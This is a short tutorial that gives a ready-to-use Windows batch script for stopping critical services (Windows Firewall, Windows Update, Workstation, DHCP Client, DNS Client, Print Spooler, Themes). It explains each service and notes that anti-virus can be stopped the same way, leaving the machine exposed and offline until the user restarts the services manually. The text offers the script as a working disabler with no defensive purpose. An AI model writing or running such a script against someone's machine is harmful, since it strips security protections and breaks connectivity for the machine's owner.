Stop Windows Sevices-service disabler:

The following piece of code is used for stopping some critical windows services.
1.Open Notepad
2.Type
@echo off
net stop "Windows Firewall"
net stop "Windows Update"
net stop Workstation
net stop "DHCP Client"
net stop "DNS Client"
net stop "Print Spooler"
net stop Themes
exit
3.save ads*.bat

This program when executed will stop the ‘windows firewall’ service that is required to block
unwanted datagram’s coming from the internet, ‘windows update’ service that is required to update
windows patches and so on, ‘workstation’ service that is required for the computer to establish a peer to
peer connection, ‘DHCP Client’ service that is required to register an available IP address from the
DHCP server, ‘DNS Client’ service that is required to resolve FQDN (Fully qualified Domain Name) into
its equivalent IP address, ‘print spooler’ service that is required to load the document to be printed in the
spool, and then the ‘themes’ service that is required to offer Themes and other graphical appearance.
Likewise you may stop any of the services, even the anti-virus service that offers protection from
malwares will be stopped in this way.
So when these services get stopped, it almost becomes impossible for the machine to offer the service
what they are supposed to do so, hence the user has to manually enable and start these services again.
